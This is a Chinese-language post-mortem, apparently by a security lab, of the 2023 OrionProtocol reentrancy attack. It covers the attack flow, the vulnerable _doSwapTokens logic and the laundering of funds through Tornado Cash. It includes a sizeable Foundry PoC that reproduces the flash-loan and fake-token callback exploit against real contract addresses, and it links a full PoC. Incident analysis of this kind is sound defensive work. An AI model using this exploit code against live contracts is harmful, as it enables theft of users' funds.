OrionProtocol 重入攻击分析附PoC

事件背景

根据NUMEN链上监控显示,Feb-02-2023 03:40:20 PM +UTCEthereumBinance链上OrionProtocol因为合约漏洞遭到重入攻击,损失 2844766 USDT (Ethereum)和 191606 BUSD(BSC),价值约290 万美元。

Ethereum链过程分析: 

攻击者地址:0x837962b686fd5a407fb4e5f92e8be86a230484bd 

攻击者合约:0x5061f7e6dfc1a867d945d0ec39ea2a33f772380a 

攻击交易:0xa6f63fcb6bec8818864d96a5b1bb19e8bd85ee37b2cc916412e720988440b2aa 

OrionProtocol 重入攻击分析附PoC

攻击分析

攻击者首先创建Token合约(0x64acd987a8603eeaf1ee8e87addd512908599aec),并对Token进行转移及授权,为后续攻击做准备。 

OrionProtocol 重入攻击分析附PoC

攻击者通过UNI-V2.swap方法借款并调用ExchangeWithAtomic.swapThroughOrionPool方法进行代币兑换,兑换路径为 

path=[USDC, 0x64acd987a8603eeaf1ee8e87addd512908599aec,USDT] 

路径0x64ac0aec是攻击者创建的Token合约,攻击者将使用该合约进行回调。 

OrionProtocol 重入攻击分析附PoC

调用ExchangeWithAtomic.swapThroughOrionPool方法兑换时,由于攻击者创建的Token合约存在回调,所以攻击者通过Token.Transfer继续回调ExchangeWithAtomic.depositAsset进行重入让存款金额累加,随后取款完成获利。 

OrionProtocol 重入攻击分析附PoC

资金流向

黑客初始资金来自于币安热钱包账户,获利的1651ETH其中还657.5枚还留在钱包地址中,其余的已经通过Tornado.Cash进行转移。 

OrionProtocol 重入攻击分析附PoC

OrionProtocol 重入攻击分析附PoC

漏洞核心

关键问题在doSwapThroughOrionPool函数 

合约地址:https://etherscan.io/address/0x420a50a62b17c18b36c64478784536ba980feac8#code 

OrionProtocol 重入攻击分析附PoC

然后跟进到_doSwapTokens函数。 

OrionProtocol 重入攻击分析附PoC

看到转账发生之后更新curBalance,所以在faketokentransfer新增一个回调功能,回调代码就是调用depositAsset函数,所以导致curBalance错误更新,然后攻击者在还完闪电贷之后调用withdraw提走资金  

攻击复现

部分POC代码 

contract CounterTest is Test { 
 
 
    function setUp() public { 
 
 
    } 
    UNI uni=UNI(0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852); 
    USDT usdt=USDT(0xdAC17F958D2ee523a2206206994597C13D831ec7); 
    USDC usdc=USDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); 
    OrionPoolV2Pair orionpoolv2pair=OrionPoolV2Pair(0x13e557c51C0a37E25E051491037Ee546597c689F); 
    ExchangeWithAtomic exchangewithatomic=ExchangeWithAtomic(0xb5599f568D3f3e6113B286d010d2BCa40A7745AA); 
    OrionPoolV2Factory orionpoolv2factory=OrionPoolV2Factory(0x5FA0060FcfEa35B31F7A5f6025F0fF399b98Edf1); 
    address[] public tokens; 
    function testa() public{ 
        ERC20 fakeA=new ERC20("fakea","fa"); 
        address pair1=orionpoolv2factory.createPair(address(fakeA),address(usdc)); 
        address pair2=orionpoolv2factory.createPair(address(fakeA),address(usdt)); 
        vm.prank(0x0A59649758aa4d66E25f08Dd01271e891fe52199); 
        usdc.transfer(address(this),500000); 
        vm.prank(0x0A59649758aa4d66E25f08Dd01271e891fe52199); 
        usdc.transfer(address(this),1000000); 
        vm.prank(0x0A59649758aa4d66E25f08Dd01271e891fe52199); 
        usdc.transfer(address(pair1),500000); 
        vm.prank(0x5754284f345afc66a98fbB0a0Afe71e0F007B949); 
        usdt.transfer(address(pair2),500000); 
        vm.prank(0x5754284f345afc66a98fbB0a0Afe71e0F007B949); 
        usdt.transfer(address(this),1); 
        fakeA.transfer(address(pair1),500000000000000000); 
        fakeA.transfer(address(pair2),500000000000000000); 
        pair(pair1).mint(address(this)); 
        pair(pair2).mint(address(this)); 
        usdt.approve(address(exchangewithatomic),type(uint256).max); 
        usdc.approve(address(exchangewithatomic),type(uint256).max); 
        usdc.approve(address(orionpoolv2pair),type(uint256).max); 
        tokens.push(address(usdc)); 
        tokens.push(address(fakeA)); 
        tokens.push(address(usdt)); 
        exchangewithatomic.depositAsset(address(usdc),500000); 
        uni.swap(0,2844766426325,address(this),hex"000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec700000000000000000000000000000000000000000000000000000296594ad4d5"); 
        console2.log(usdt.balanceOf(address(this))); 
    } 
    function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external{ 
        exchangewithatomic.swapThroughOrionPool(10000,0,tokens,true); 
        //uint r1= 
        exchangewithatomic.getBalance(address(usdt),address(this)); 
        uint256 r2=usdt.balanceOf(address(exchangewithatomic)); 
        exchangewithatomic.withdraw(address(usdt),5689532852749); 
        usdt.transfer(address(uni),2853326405542); 
    } 
    function deposit() public{ 
        uint r3=usdt.balanceOf(address(this)); 
        exchangewithatomic.depositAsset(address(usdt),uint112(r3)); 
    } 
} 

测试结果

OrionProtocol 重入攻击分析附PoC

OrionProtocol 重入攻击分析附PoC

和调用栈结果一致。 

 

完整poc链接: 

https://github.com/numencyber/SmartContractHack_PoC/tree/main/OrionProtocolHack 

总结

NUMEN实验室提醒项目方,合约存在兑换功能时,需要考虑多种Token以及多种兑换路径出现的意外情况,并且对于合约代码逻辑遵循先判断,后写入变量,再进行外部调用的编码规范(Checks-Effects-Interactions)会使项目更加安全稳定。保障合约风险尽可能被消除在链下,NUMEN专注于为web3生态安全保驾护航。